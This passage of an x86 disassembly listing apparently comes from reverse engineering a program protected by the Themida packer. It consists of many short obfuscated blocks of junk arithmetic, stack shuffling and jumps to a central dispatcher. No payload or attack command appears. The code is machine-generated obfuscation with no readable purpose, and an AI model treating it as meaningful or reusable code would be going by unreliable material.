jmp loc_55EFF4
; ---------------------------------------------------------------------------
loc_56B4CC: ; CODE XREF: sub_562ABA+F097j
pop esp
push esp
pop [esp+22h+var_22]
add [esp+1Eh+var_1E], 4
push [esp+1Eh+var_1E]
pop ecx
add esp, 4
push edx
mov edx, 4
add ecx, edx
jmp loc_56BAC1
; ---------------------------------------------------------------------------
loc_56B4E9: ; CODE XREF: sub_562ABA+7A17j
sub esp, 4
mov [esp+3Ah+var_3A], ebp
mov ebp, 34DA2618h
dec ebp
shl ebp, 3
sub ebp, 4E933331h
push 4418h
mov [esp+3Eh+var_3E], ecx
push edx
mov edx, 12B4138Ch
sub edx, 7BDF16B8h
not edx
or edx, 79F37486h
xor edx, 7E784C79h
jmp loc_57245A
; ---------------------------------------------------------------------------
loc_56B525: ; CODE XREF: sub_562ABA+700j
mov edx, 4
add eax, edx
jmp loc_56F8C5
; ---------------------------------------------------------------------------
loc_56B531: ; CODE XREF: sub_55FCA5+F0j
push esp
pop eax
add eax, 4
jmp loc_56AFCB
; ---------------------------------------------------------------------------
loc_56B53D: ; CODE XREF: sub_562ABA+220Cj
add edx, 4
jmp loc_569D98
; ---------------------------------------------------------------------------
loc_56B545: ; CODE XREF: sub_562ABA+F195j
sub esp, 4
jmp loc_56753F
; ---------------------------------------------------------------------------
loc_56B550: ; CODE XREF: sub_562ABA+A54Bj
add al, 0F1h
mov bl, al
pop eax
jmp loc_5646D9
; ---------------------------------------------------------------------------
loc_56B55A: ; CODE XREF: sub_562ABA+26B7j
xchg eax, [esp+0]
pop esp
add ecx, 2
push 20E2h
jmp loc_568FA4
; ---------------------------------------------------------------------------
loc_56B56E: ; CODE XREF: sub_562ABA+5665j
mov [esp+20h+var_22+2], esi
pop edi
pop esi
neg esi
xchg esi, edi
add edi, 7EB26696h
shr edi, 6
or edi, 1B7B7274h
add edi, 4028CFD8h
push edx
mov edx, 7D4215B5h
jmp sub_56202E
; ---------------------------------------------------------------------------
loc_56B597: ; CODE XREF: sub_562ABA+4B60j
pop esi
push ebx
mov ebx, esp
push esi
jmp loc_5666A0
; ---------------------------------------------------------------------------
loc_56B5A1: ; CODE XREF: sub_562ABA+B22Ej
push ecx
mov ecx, esp
add ecx, 4
push edi
jmp loc_56E276
; ---------------------------------------------------------------------------
loc_56B5B0: ; CODE XREF: sub_562ABA+6229j
pop esp
add esp, 4
mov [edx], ch
push [esp+1Ah+var_1A]
pop ecx
add esp, 4
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56B5C5: ; CODE XREF: sub_562ABA+AEC7j
add ebp, 4
sub ebp, 4
xchg ebp, [esp+16h+var_16]
mov esp, [esp+16h+var_16]
jmp loc_567A79
; ---------------------------------------------------------------------------
loc_56B5D9: ; CODE XREF: sub_562ABA+32EBj
push ebx
mov ebx, 6E13214Bh
sub eax, ebx
jmp loc_564FA2
; ---------------------------------------------------------------------------
loc_56B5E6: ; CODE XREF: sub_56279F+7j
pop edi
add edi, 4
push 604Eh
jmp loc_565AD4
; ---------------------------------------------------------------------------
loc_56B5F7: ; CODE XREF: sub_562ABA+27DDj
mov ecx, [esp+42h+var_42]
push ebp
mov ebp, esp
add ebp, 4
jmp loc_5711B2
; ---------------------------------------------------------------------------
loc_56B608: ; CODE XREF: sub_562ABA-4DBj
mov esp, [esp+26h+var_28+2]
div cx
push 5904h
mov [esp+2Ah+var_2C+2], edx
push 28C3h
mov [esp+0], esp
push ebp
mov ebp, 4
add [esp+4], ebp
mov ebp, [esp+32h+var_32]
add esp, 4
jmp loc_56B0DA
; ---------------------------------------------------------------------------
loc_56B633: ; CODE XREF: sub_562ABA+CEF2j
pop esi
xchg ebx, [esp+2Ah+var_2C+2]
mov esp, [esp+2Ah+var_2C+2]
or [esp+2Ah+var_2C+2], eax
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56B643: ; CODE XREF: sub_562ABA+C8ABj
push edx
mov edx, 59CA4FC7h
xor edx, 4A517265h
jmp loc_564903
; ---------------------------------------------------------------------------
loc_56B654: ; CODE XREF: sub_562ABA+8946j
mov edx, 1196098Fh
shr edx, 5
jmp loc_56E3CB
; ---------------------------------------------------------------------------
loc_56B661: ; CODE XREF: sub_562ABA+6519j
mov esp, [esp+6+var_8+2]
push ecx
pop edx
push [esp+6+var_8+2]
pop ecx
push edx
jmp loc_55E1B2
; ---------------------------------------------------------------------------
loc_56B670: ; CODE XREF: sub_562ABA+629Ej
add eax, esi
jmp loc_56C915
; ---------------------------------------------------------------------------
loc_56B677: ; CODE XREF: sub_562ABA+4F63j
pop [esp+42h+var_42]
pop esp
shr ebx, 2
sub esp, 4
jmp loc_56F672
; ---------------------------------------------------------------------------
loc_56B689: ; CODE XREF: sub_562ABA-664j
add esp, 4
push ebp
mov ebp, esp
add ebp, 4
jmp loc_5646A4
; ---------------------------------------------------------------------------
loc_56B69D: ; CODE XREF: sub_562ABA+8EF4j
mov cl, bh
push eax
push edx
mov dl, cl
mov ah, dl
pop edx
mov dl, ah
pop eax
mov ecx, [esp+2Ah+var_2C+2]
jmp loc_55EBE0
; ---------------------------------------------------------------------------
loc_56B6B1: ; CODE XREF: sub_562ABA-30DFj
add esp, 4
add esi, 92567h
push edi
mov edi, 7D08343Ch
sub esi, edi
pop edi
add esi, edx
add esi, 7D08343Ch
sub esi, 92567h
push [esp+2+var_4+2]
pop edx
push esi
mov esi, esp
add esi, 4
add esi, 4
push esi
push [esp+0Ah+var_8+2]
pop esi
pop [esp+0Ah+var_C+2]
mov esp, [esp+6+var_8+2]
push ebx
mov ebx, 445F5FE7h
add ebx, 6C804529h
not ebx
xor ebx, 4F205AEDh
add esi, ebx
jmp loc_5726D9
; ---------------------------------------------------------------------------
loc_56B70B: ; CODE XREF: sub_562ABA+E4C4j
push 3177h
mov [esp+0], edx
mov edx, esp
sub esp, 4
mov [esp+12h+var_12], eax
push 0B08h
mov [esp+16h+var_16], edi
push 19DA4442h
pop edi
jmp loc_56D5F1
; ---------------------------------------------------------------------------
loc_56B72E: ; CODE XREF: sub_562ABA+1669j
dec eax
and eax, 29065E10h
push ebp
mov ebp, 1E0957DEh
push ecx
mov ecx, 7CF7D28h
jmp loc_570987
; ---------------------------------------------------------------------------
loc_56B745: ; CODE XREF: sub_562ABA+D86Aj
sub esp, 4
mov [esp+32h+var_32], ebx
push 971h
mov [esp+36h+var_36], eax
push ebp
push edx
mov edx, 4AE11C82h
add edx, 2D916BBh
neg edx
shl edx, 2
add edx, 0E286D1Eh
add edx, 29ABBE74h
jmp loc_56FAD0
; ---------------------------------------------------------------------------
loc_56B779: ; CODE XREF: sub_562ABA+105Dj
sub ebx, 1A8116B0h
mov eax, [esp+4Ch+var_4E+2]
push edi
mov edi, esp
jmp loc_56B129
; ---------------------------------------------------------------------------
loc_56B78A: ; CODE XREF: sub_562ABA+292Ej
add eax, 45350E42h
add eax, ebx
sub eax, 45350E42h
sub esp, 4
mov [esp+6+var_8+2], esi
jmp loc_5654E7
; ---------------------------------------------------------------------------
loc_56B7A1: ; CODE XREF: sub_562ABA+917Cj
sub ebx, 462FA05Ch
mov edx, ebx
mov ebx, [esp+6+var_8+2]
add esp, 4
add eax, edx
mov edx, [esp+2+var_4+2]
add esp, 4
add eax, 4
jmp loc_56A7EF
; ---------------------------------------------------------------------------
loc_56B7C4: ; CODE XREF: sub_562ABA+5EECj
mov [esp+12h+var_12], esp
add [esp+12h+var_12], 4
push [esp+12h+var_12]
pop ebx
add esp, 4
jmp loc_562FC1
; ---------------------------------------------------------------------------
loc_56B7DA: ; CODE XREF: sub_562ABA+E1DCj
mov [esp+0], ebx
jmp loc_57084D
; ---------------------------------------------------------------------------
loc_56B7E2: ; CODE XREF: sub_562ABA+D936j
push eax
jmp loc_55F86D
; ---------------------------------------------------------------------------
loc_56B7E8: ; CODE XREF: sub_55FCA5+1192j
pop ecx
shl dl, 2
add dl, 0Ch
jmp loc_55E18A
; ---------------------------------------------------------------------------
loc_56B7F4: ; CODE XREF: sub_562ABA+33A3j
add eax, 1B554998h
add eax, 683E3262h
sub eax, ebp
push ebp
mov ebp, 683E3262h
sub eax, ebp
pop ebp
push ebx
jmp loc_56718C
; ---------------------------------------------------------------------------
loc_56B80F: ; CODE XREF: sub_562ABA+CC6j
add ecx, 4
xchg ecx, [esp+32h+var_32]
jmp loc_55F0C9
; ---------------------------------------------------------------------------
loc_56B81A: ; CODE XREF: sub_562ABA+2106j
push 28BDh
mov [esp+16h+var_16], eax
push esp
mov eax, [esp+1Ah+var_1A]
add esp, 4
jmp loc_56442E
; ---------------------------------------------------------------------------
loc_56B831: ; CODE XREF: sub_55FCA5+360j
pop ebx
xor al, 99h
mov ch, 0F5h
xor ch, al
push [esp+12h+var_12]
pop eax
push 7953h
mov [esp+16h+var_16], ecx
mov ecx, esp
jmp loc_56E4A4
; ---------------------------------------------------------------------------
loc_56B84B: ; CODE XREF: sub_562ABA+8631j
mov [esp+4+var_4], esi
mov esi, 2
add edx, 7B0B53C5h
jmp loc_560075
; ---------------------------------------------------------------------------
loc_56B85E: ; CODE XREF: sub_562ABA+48A4j
or bx, 883h
sub bx, 3227h
or bx, 1A42h
push esi
push ebx
mov bx, 2931h
shl bx, 7
jmp loc_56752A
; ---------------------------------------------------------------------------
loc_56B87C: ; CODE XREF: sub_55FCA5+2CDj
add esp, 4
add ecx, 4
add ecx, 4
xor ecx, [esp+34h+var_36+2]
xor [esp+34h+var_36+2], ecx
xor ecx, [esp+34h+var_36+2]
mov esp, [esp+34h+var_36+2]
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56B89F: ; CODE XREF: sub_562ABA+CB0Fj
pop esp
shl byte ptr [esp+30h+var_32+2], cl
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56B8A9: ; CODE XREF: sub_562ABA+DD7Bj
mov esp, [esp+34h+var_36+2]
push 4CEEh
mov [esp+38h+var_3A+2], edi
jmp loc_563925
; ---------------------------------------------------------------------------
loc_56B8B9: ; CODE XREF: sub_562ABA-41E1j
mov [esp+4+var_4], edx
jmp loc_566F4E
; ---------------------------------------------------------------------------
loc_56B8C1: ; CODE XREF: sub_562ABA+3CE7j
push ebp
mov ebp, 4
add eax, ebp
mov ebp, [esp+36h+var_36]
jmp loc_55F6ED
; ---------------------------------------------------------------------------
loc_56B8D1: ; CODE XREF: sub_562ABA+E62Fj
inc edi
neg edi
jmp loc_5658C6
; ---------------------------------------------------------------------------
loc_56B8D9: ; CODE XREF: sub_562ABA-2FCAj
shl ah, 2
add ah, 0FFh
sub ah, 0CCh
sub bl, 43h
sub bl, ah
add bl, 43h
mov eax, [esp+0]
push eax
mov eax, esp
jmp loc_55E638
; ---------------------------------------------------------------------------
loc_56B8F5: ; CODE XREF: Themida_:0055F68Dj
mov [esp+12h+var_12], eax
sub esp, 4
jmp loc_562E54
; ---------------------------------------------------------------------------
loc_56B900: ; CODE XREF: sub_562ABA+FD0Dj
mov edi, 2
sub ebx, edi
pop edi
xchg ebx, [esp+12h+var_12]
pop esp
mov [esp+0], cx
jmp loc_572930
; ---------------------------------------------------------------------------
loc_56B915: ; CODE XREF: sub_562ABA-7Fj
add esp, 4
sub ebp, 6F5B7FC9h
mov edx, [esp+22h+var_22]
add esp, 4
jmp loc_56DC3E
; ---------------------------------------------------------------------------
loc_56B92C: ; CODE XREF: sub_562ABA+F045j
add ebp, 4
push ebp
jmp loc_56AD17
; ---------------------------------------------------------------------------
loc_56B938: ; CODE XREF: sub_562ABA+743j
sub edi, 64D1026Bh
sub eax, edi
pop edi
pop ebp
push ecx
push esi
mov esi, esp
push 0FCEh
jmp loc_56BF6E
; ---------------------------------------------------------------------------
loc_56B950: ; CODE XREF: sub_562ABA+85F8j
pop ecx
push ebx
mov ebx, 49B875D0h
or ebx, 379D529Ch
shl ebx, 5
xor ebx, 8A92A5D0h
add edx, ebx
pop ebx
add edx, eax
push edi
mov edi, 58D1181Ah
and edi, 78954F76h
not edi
inc edi
not edi
sub edi, 0DB54A9C1h
sub edx, edi
pop edi
jmp loc_56186A
; ---------------------------------------------------------------------------
loc_56B98A: ; CODE XREF: sub_562ABA-2FDBj
mov [esp+12h+var_12], ecx
push edi
mov edi, 1B1B059Ah
jmp loc_56A529
; ---------------------------------------------------------------------------
loc_56B998: ; CODE XREF: sub_562ABA+96CAj
add ecx, 4
add ecx, 4
xchg ecx, [esp+16h+var_16]
pop esp
sub esp, 4
mov [esp+16h+var_16], ecx
jmp loc_56B69D
; ---------------------------------------------------------------------------
loc_56B9B3: ; CODE XREF: sub_562ABA+E4B9j
xor ebx, 39478DACh
jmp loc_560875
; ---------------------------------------------------------------------------
loc_56B9BE: ; CODE XREF: sub_562ABA+995Ej
pop ebx
push edi
mov edi, esp
push ebp
mov ebp, 4C023725h
not ebp
add ebp, 4C02372Ah
add edi, ebp
pop ebp
add edi, 4
jmp loc_55E192
; ---------------------------------------------------------------------------
loc_56B9DB: ; CODE XREF: sub_562ABA+6510j
push edi
mov edi, esp
jmp loc_56C007
; ---------------------------------------------------------------------------
loc_56B9E3: ; CODE XREF: sub_562ABA+7BCDj
push 76736A75h
pop esi
shr esi, 2
xor esi, 1D9CDA9Ch
jmp loc_56D116
; ---------------------------------------------------------------------------
loc_56B9F7: ; CODE XREF: sub_562ABA+4BAFj
mov [esp+3Ah+var_3A], esi
push ebp
jmp loc_5623B2
; ---------------------------------------------------------------------------
loc_56BA00: ; CODE XREF: sub_562ABA+291Ej
and ebx, edx
jmp loc_55FFAA
; ---------------------------------------------------------------------------
loc_56BA07: ; CODE XREF: sub_562ABA+A962j
sub esp, 4
jmp loc_56B18A
; ---------------------------------------------------------------------------
loc_56BA0F: ; CODE XREF: sub_562ABA-4609j
xchg ebx, [esp+1Ah+var_1A]
pop esp
pop ecx
push 1A72h
mov [esp+16h+var_16], ebp
jmp loc_56768C
; ---------------------------------------------------------------------------
loc_56BA21: ; CODE XREF: sub_562ABA+FC1Aj
sub edi, 7FCB2BABh
jmp loc_56975E
; ---------------------------------------------------------------------------
loc_56BA2C: ; CODE XREF: sub_572714+1Ej
shl edx, 5
xor edx, 72B95864h
sub edi, 1464518Ah
jmp sub_56112E
; ---------------------------------------------------------------------------
loc_56BA40: ; CODE XREF: Themida_:0055E5BDj
push edx
mov edx, 4653AA2h
mov ebx, 6E9E7CA3h
sub ebx, edx
pop edx
add ebx, 0FFFFFFFFh
dec ebx
inc ebx
xor ebx, 30C75CECh
add ebx, 18D7312h
xor ebx, 5C8B91FAh
add esi, ebx
mov ebx, [esp+16h+var_16]
jmp loc_5662AA
; ---------------------------------------------------------------------------
loc_56BA6F: ; CODE XREF: sub_562ABA+BFE5j
xor dl, cl
mov ecx, [esp+16h+var_16]
add esp, 4
xor al, dl
push [esp+12h+var_12]
jmp loc_56CF37
; ---------------------------------------------------------------------------
loc_56BA84: ; CODE XREF: sub_562ABA+210Cj
mov eax, 2D3319B0h
add edx, eax
jmp loc_5666C0
; ---------------------------------------------------------------------------
loc_56BA90: ; CODE XREF: sub_562ABA+B6CAj
sub esp, 4
mov [esp+1Ah+var_1A], eax
push ebx
mov ebx, 599D3448h
or ebx, 38BF00C5h
add ebx, 554411C1h
or ebx, 0CD27BDh
or ebx, 73FD5E23h
jmp loc_569C11
; ---------------------------------------------------------------------------
loc_56BAB9: ; CODE XREF: sub_562ABA-11B6j
xor dh, 0B9h
jmp loc_5673AE
; ---------------------------------------------------------------------------
loc_56BAC1: ; CODE XREF: sub_562ABA+8A2Aj
pop edx
push esi
mov esi, 4
add ecx, esi
jmp loc_56A2F7
; ---------------------------------------------------------------------------
loc_56BACF: ; CODE XREF: sub_562ABA-7BFj
add ecx, 50FC3273h
jmp loc_5625CC
; ---------------------------------------------------------------------------
loc_56BADA: ; CODE XREF: sub_562ABA-14D5j
mov [esp-0Eh+arg_8+2], ebx
jmp loc_56087C
; ---------------------------------------------------------------------------
loc_56BAE2: ; CODE XREF: sub_562ABA+DBj
mov ecx, edx
push dword ptr [esp+0]
mov edx, [esp+12h+var_12]
add esp, 4
add esp, 4
sub edx, 443C2C93h
add edx, ecx
push ebp
jmp loc_560F4E
; ---------------------------------------------------------------------------
loc_56BB04: ; CODE XREF: sub_55FCA5+278j
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+12h+var_12]
pop esp
add esi, 4
xor esi, [esp+0]
xor [esp+0], esi
xor esi, [esp+0]
mov esp, [esp+0]
movsx ecx, al
push 2380h
mov [esp+12h+var_12], ecx
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56BB39: ; CODE XREF: sub_562ABA+68Aj
add edi, 37AA780Ch
sub edi, 5A44612Eh
jmp loc_572584
; ---------------------------------------------------------------------------
loc_56BB4A: ; CODE XREF: sub_562ABA+732Ej
mov ebp, 586F2ADCh
jmp loc_5652D8
; ---------------------------------------------------------------------------
loc_56BB54: ; CODE XREF: sub_562ABA-447Dj
add eax, 4
xchg eax, [esp+4Ah+var_4A]
pop esp
pop ecx
movzx eax, al
jmp loc_562D85
; ---------------------------------------------------------------------------
loc_56BB66: ; CODE XREF: sub_562ABA+C246j
pop eax
pop ebp
mov ebx, [esp+3Ah+var_3A]
sub esp, 4
mov [esp+3Eh+var_3E], ebp
push 7C09h
mov [esp+42h+var_42], esp
add [esp+42h+var_42], 4
push [esp+42h+var_42]
jmp loc_57025D
; ---------------------------------------------------------------------------
loc_56BB8B: ; CODE XREF: sub_562ABA+831Ej
mov [esp+1Ah+var_1A], ecx
push ebx
jmp loc_56E0E5
; ---------------------------------------------------------------------------
loc_56BB94: ; CODE XREF: sub_562ABA-1CFAj
sub esi, 1D237EDFh
push [esp+32h+var_32]
pop ebx
push 2915h
mov [esp+36h+var_36], eax
push 1A19h
mov [esp+3Ah+var_3A], esp
add [esp+3Ah+var_3A], 4
pop eax
push ebp
push ebx
jmp loc_560A2C
; ---------------------------------------------------------------------------
loc_56BBBA: ; CODE XREF: sub_562ABA+B218j
add cl, ah
mov eax, [esp+3Eh+var_3E]
push edi
jmp loc_56920D
; ---------------------------------------------------------------------------
loc_56BBC5: ; CODE XREF: sub_562ABA-4526j
pop esp
add ecx, 3CA11F9Bh
jmp loc_56784E
; ---------------------------------------------------------------------------
loc_56BBD1: ; CODE XREF: sub_562ABA-3E80j
push ax
push ecx
mov cl, 2
mov ah, 2Ch
jmp loc_56AACF
; ---------------------------------------------------------------------------
loc_56BBDD: ; CODE XREF: sub_562ABA-3E9Ej
inc eax
jmp loc_56366F
; ---------------------------------------------------------------------------
loc_56BBE3: ; CODE XREF: sub_562ABA+47A7j
add esp, 4
sub ebp, 4
xor ebp, [esp+1Ah+var_1A]
xor [esp+1Ah+var_1A], ebp
xor ebp, [esp+1Ah+var_1A]
mov esp, [esp+1Ah+var_1A]
mov [esp+1Ah+var_1A], ecx
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56BBFD: ; CODE XREF: sub_562ABA+DD6Dj
xchg edx, [esp+1Ah+var_1A]
pop esp
xchg eax, [esp+16h+var_16]
mov esp, [esp+16h+var_16]
sar [esp+16h+var_16], cl
pushf
jmp loc_5709D2
; ---------------------------------------------------------------------------
dd 5C240C87h, 83240489h, 0E4E904ECh
db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56BC1F: ; CODE XREF: sub_562ABA+D943j
sub ebx, 63D646DDh
push edi
mov edi, 47EE4D1Fh
add ebx, edi
mov edi, [esp+1Eh+var_1E]
add esp, 4
shl ebx, 5
jmp loc_56B7A1
; ---------------------------------------------------------------------------
loc_56BC3B: ; CODE XREF: sub_562ABA+B98Cj
pop esi
and ecx, 4E9C2FD8h
sub ecx, 0D8C1908h
inc ecx
jmp loc_56A073
; ---------------------------------------------------------------------------
loc_56BC4E: ; CODE XREF: sub_55FCA5+373j
pop esi
jmp loc_56C8C9
; ---------------------------------------------------------------------------
loc_56BC54: ; CODE XREF: sub_562ABA+B502j
inc ebx
xor ebx, 732D517Ah
jmp loc_564279
; ---------------------------------------------------------------------------
loc_56BC60: ; CODE XREF: sub_562ABA+148Fj
mov edi, 48F85CACh
add ebp, edi
pop edi
add ebp, ebx
jmp loc_56AE64
; ---------------------------------------------------------------------------
loc_56BC6F: ; CODE XREF: sub_562ABA+121Fj
mov ebp, [esp+16h+var_16]
add esp, 4
add esp, 4
xor ebx, [esp+0]
xor [esp+0], ebx
xor ebx, [esp+0]
pop esp
jmp loc_5630DC
; ---------------------------------------------------------------------------
loc_56BC8D: ; CODE XREF: sub_562ABA+1D21j
mov edi, 343F5CFBh
sub edi, 96D5F9Dh
add edi, 2B3816AEh
neg edi
add edi, 63087A06h
add edi, 3DE89EFBh
shl edi, 5
push edx
mov edx, 310613BBh
and edi, edx
pop edx
add edi, 0FFFFFFFFh
jmp loc_562831
; ---------------------------------------------------------------------------
loc_56BCC3: ; CODE XREF: sub_562ABA+6962j
xor edx, [esp-10h+arg_C]
pop esp
xor bx, ax
jmp loc_55EECD
; ---------------------------------------------------------------------------
loc_56BCCF: ; CODE XREF: sub_562ABA+2338j
mov esi, [esp+36h+var_36]
add esp, 4
jmp loc_569482
; ---------------------------------------------------------------------------
loc_56BCDA: ; CODE XREF: sub_562ABA-14DFj
xchg ebx, [esp-12h+arg_C+2]
jmp loc_57122C
; ---------------------------------------------------------------------------
loc_56BCE2: ; CODE XREF: sub_562ABA+5E9Fj
dec word ptr [esp+0]
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56BCEC: ; CODE XREF: sub_562ABA+BD76j
xor ebp, 201E9419h
mov eax, ebp
mov ebp, [esp+12h+var_12]
add esp, 4
add esi, eax
pop eax
push 0
jmp loc_569CCE
; ---------------------------------------------------------------------------
loc_56BD0A: ; CODE XREF: sub_55FCA5+459j
add esp, 4
jmp loc_56FA71
; ---------------------------------------------------------------------------
loc_56BD15: ; CODE XREF: sub_562ABA+F52Bj
not edi
add edi, 0E037BAB1h
sub esi, 595C2266h
sub esi, edi
add esi, 595C2266h
pop edi
add edx, esi
pop esi
add ebx, 5374E52h
sub ebx, edx
sub ebx, 5374E52h
mov edx, [esp+2+var_4+2]
add esp, 4
xor ebx, [esp+0]
xor [esp+0], ebx
xor ebx, [esp+0]
jmp loc_56A259
; ---------------------------------------------------------------------------
loc_56BD54: ; CODE XREF: sub_562ABA+11EBj
xor edx, 173F0F38h
add [esp+4], edx
push [esp+32h+var_32]
pop edx
add esp, 4
sub dword ptr [esp+0], 6F736DD0h
jmp loc_5663A8
; ---------------------------------------------------------------------------
loc_56BD71: ; CODE XREF: sub_562ABA-1D0Fj
xchg eax, [esp+36h+var_36]
pop esp
push esi
mov esi, 13D01284h
or esi, 716877A1h
shl esi, 5
shl esi, 7
dec esi
and esi, 3DC23BC3h
xor esi, 5420BC7h
add ebx, esi
push [esp+36h+var_36]
jmp loc_56E420
; ---------------------------------------------------------------------------
loc_56BD9E: ; CODE XREF: sub_562ABA-3807j
mov ebx, 0EE41C5D1h
jmp loc_56B324
; ---------------------------------------------------------------------------
loc_56BDA8: ; CODE XREF: sub_562ABA-3167j
add [esp+0Ah+var_8+2], ecx
add [esp+0Ah+var_8+2], 52C3233Ah
add [esp+0Ah+var_8+2], 491013F9h
add [esp+0Ah+var_8+2], 7D180B30h
mov ecx, [esp+0Ah+var_C+2]
jmp loc_56009C
; ---------------------------------------------------------------------------
loc_56BDCC: ; CODE XREF: sub_562ABA-3672j
xor eax, 10C67AF4h
jmp loc_55FB72
; ---------------------------------------------------------------------------
loc_56BDD6: ; CODE XREF: sub_562ABA+C3D7j
mov esp, [esp+22h+var_22]
push 3B34h
mov [esp+26h+var_28+2], ecx
push ebx
mov bh, dl
sub esp, 4
mov [esp+0], edx
mov dl, bh
sub esp, 4
mov [esp+32h+var_32], eax
mov al, dl
mov ch, al
pop eax
pop edx
mov ebx, [esp+2Ah+var_2C+2]
push ecx
push esp
pop ecx
push 1BFBh
jmp loc_572ADB
; ---------------------------------------------------------------------------
loc_56BE0B: ; CODE XREF: sub_562ABA+BDD0j
sub edx, 7F5C42CBh
add edx, eax
add edx, 7F5C42CBh
pop eax
xor edx, [esp]
jmp loc_56077A
; ---------------------------------------------------------------------------
loc_56BE22: ; CODE XREF: sub_562ABA+B829j
push eax
push ebx
push [esp+36h+var_36]
pop eax
push 4288h
mov [esp+3Ah+var_3A], edi
jmp loc_567AD9
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl [esp+38h+var_3A+2], cl
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56BE44: ; CODE XREF: sub_562ABA+75C5j
mov esp, [esp+26h+var_28+2]
mov [esp+26h+var_28+2], esi
push 7ABAh
mov [esp+2Ah+var_2C+2], edx
mov edx, 63A95A1Eh
mov esi, 0CA90CFDAh
jmp loc_56A907
; ---------------------------------------------------------------------------
loc_56BE61: ; CODE XREF: sub_562ABA+F301j
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+0]
jmp loc_56DEE9
; ---------------------------------------------------------------------------
loc_56BE78: ; CODE XREF: sub_562ABA+11D7j
push edx
push 254Ah
jmp loc_560E67
; ---------------------------------------------------------------------------
loc_56BE83: ; CODE XREF: sub_562ABA+E366j
mov [esp+46h+var_46], ebx
jmp loc_565438
; ---------------------------------------------------------------------------
loc_56BE8B: ; CODE XREF: sub_562ABA+152Bj
mov [esp+3Ah+var_3A], ebp
jmp loc_5626C1
; ---------------------------------------------------------------------------
loc_56BE93: ; CODE XREF: sub_562ABA+2071j
sub esp, 4
mov [esp+48h+var_4A+2], edi
push [esp+48h+var_46+2]
jmp loc_561A00
; ---------------------------------------------------------------------------
loc_56BEA2: ; CODE XREF: sub_562ABA-21A9j
sub eax, edi
mov edi, [esp+32h+var_32]
add esp, 4
jmp loc_569982
; ---------------------------------------------------------------------------
loc_56BEAF: ; CODE XREF: sub_562ABA+70EFj
mov edi, [esp+10h+var_12+2]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+14h+var_16+2]
pop esp
and eax, ebx
pop ebx
jmp loc_569AB0
; ---------------------------------------------------------------------------
loc_56BECB: ; CODE XREF: sub_562ABA+7A5j
mov ebp, edi
mov edi, [esp+32h+var_32]
add esp, 4
sub ebx, ebp
jmp loc_56EDD4
; ---------------------------------------------------------------------------
loc_56BEDD: ; CODE XREF: sub_562ABA+828Bj
mov edx, [esp+32h+var_32]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp+36h+var_36]
pop esp
push 13A9h
mov [esp+36h+var_36], eax
push [esp+36h+var_32]
mov eax, [esp+3Ah+var_3A]
add esp, 4
jmp loc_56757A
; ---------------------------------------------------------------------------
loc_56BF0A: ; CODE XREF: sub_562ABA-1D86j
xor [esp-6+arg_0+2], esi
jmp loc_562230
; ---------------------------------------------------------------------------
loc_56BF12: ; CODE XREF: sub_562ABA-2325j
or ah, 0FCh
shr ah, 4
add ah, 0FFh
xor ah, 0CBh
and ch, ah
pop eax
shl ch, 8
dec ch
add ch, 0C0h
xor al, ch
mov cx, word ptr [esp+36h+var_36]
push ebx
jmp loc_56CD01
; ---------------------------------------------------------------------------
loc_56BF35: ; CODE XREF: sub_562ABA-35E9j
mov ebp, 5B1D70CBh
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
jmp loc_565ECE
; ---------------------------------------------------------------------------
loc_56BF4B: ; CODE XREF: sub_562ABA+430Ej
add dh, 0EBh
xor dh, 99h
jmp loc_566197
; ---------------------------------------------------------------------------
loc_56BF56: ; CODE XREF: sub_55FCA5+338j
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp+22h+var_22]
pop esp
jmp loc_56E582
; ---------------------------------------------------------------------------
loc_56BF6E: ; CODE XREF: sub_562ABA+8E91j
mov [esp+10h+var_12+2], edx
mov edx, 4
jmp loc_56A22C
; ---------------------------------------------------------------------------
loc_56BF7B: ; CODE XREF: sub_562ABA+F8EAj
push ebx
mov ebx, 4
sub edi, ebx
pop ebx
jmp loc_55FBE4
; ---------------------------------------------------------------------------
loc_56BF89: ; CODE XREF: Themida_:0055F3D2j
push 711Ah
jmp loc_5624C2
; ---------------------------------------------------------------------------
loc_56BF93: ; CODE XREF: sub_562ABA+7400j
add eax, 14DF0493h
push [esp-0Eh+arg_8+2]
pop esi
add esp, 4
sub ebp, eax
pop eax
jmp loc_56A108
; ---------------------------------------------------------------------------
loc_56BFAA: ; CODE XREF: sub_562ABA+1E5Bj
push eax
push ecx
mov ecx, 76B5633Bh
mov eax, ecx
pop ecx
and eax, 37A12354h
xor eax, 5BD17CDEh
add ecx, 67EC265Bh
add ecx, eax
sub ecx, 67EC265Bh
jmp loc_56CCD2
; ---------------------------------------------------------------------------
loc_56BFD1: ; CODE XREF: sub_562ABA-3D62j
pop eax
sub esp, 4
mov [esp+1Ah+var_1A], edi
push [esp+1Ah+var_16]
jmp loc_56C5D5
; ---------------------------------------------------------------------------
loc_56BFE1: ; CODE XREF: Themida_:0055F1F0j
push edi
mov edi, 4
add eax, edi
mov edi, [esp+22h+var_22]
jmp loc_56D2F3
; ---------------------------------------------------------------------------
loc_56BFF1: ; CODE XREF: sub_562ABA-458Ej
mov ecx, 66E717Ch
push edx
mov edx, 76171464h
xor edx, 6EB70BA1h
jmp loc_5659BB
; ---------------------------------------------------------------------------
loc_56C007: ; CODE XREF: sub_562ABA+8F24j
add edi, 4
sub edi, 4
jmp loc_571B4E
; ---------------------------------------------------------------------------
loc_56C018: ; CODE XREF: sub_562ABA+DFD7j
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56C01D: ; CODE XREF: sub_562ABA+CDD7j
push esi
jmp loc_56F195
; ---------------------------------------------------------------------------
